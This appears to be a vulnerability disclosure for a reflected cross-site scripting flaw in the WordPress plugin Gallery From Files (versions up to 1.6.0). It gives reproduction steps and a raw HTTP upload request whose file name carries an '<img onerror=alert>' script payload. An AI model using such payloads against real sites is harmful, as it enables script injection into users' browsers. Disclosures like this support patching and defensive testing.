Gallery From Files <= 1.6.0 - Reflected Cross-Site Scripting (XSS)

Steps : 

1. Rename any file to <img src=x onerror=alert(1337)>
2. Choose this file to upload and click on the button ( upload selected file )
3. When a file is uploading you will find that an alert box popped on-screen having content "1337"

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------245018834521283925753967681812
Content-Length: 506
Cookies: [any user or even unauthenticated]
Connection: close

-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="myfile[]"; filename="<img src onerror=alert(2)>"
Content-Type: image/png


-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="action"

gallery_from_files_595_fileupload
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="filesName"

myfile
-----------------------------245018834521283925753967681812--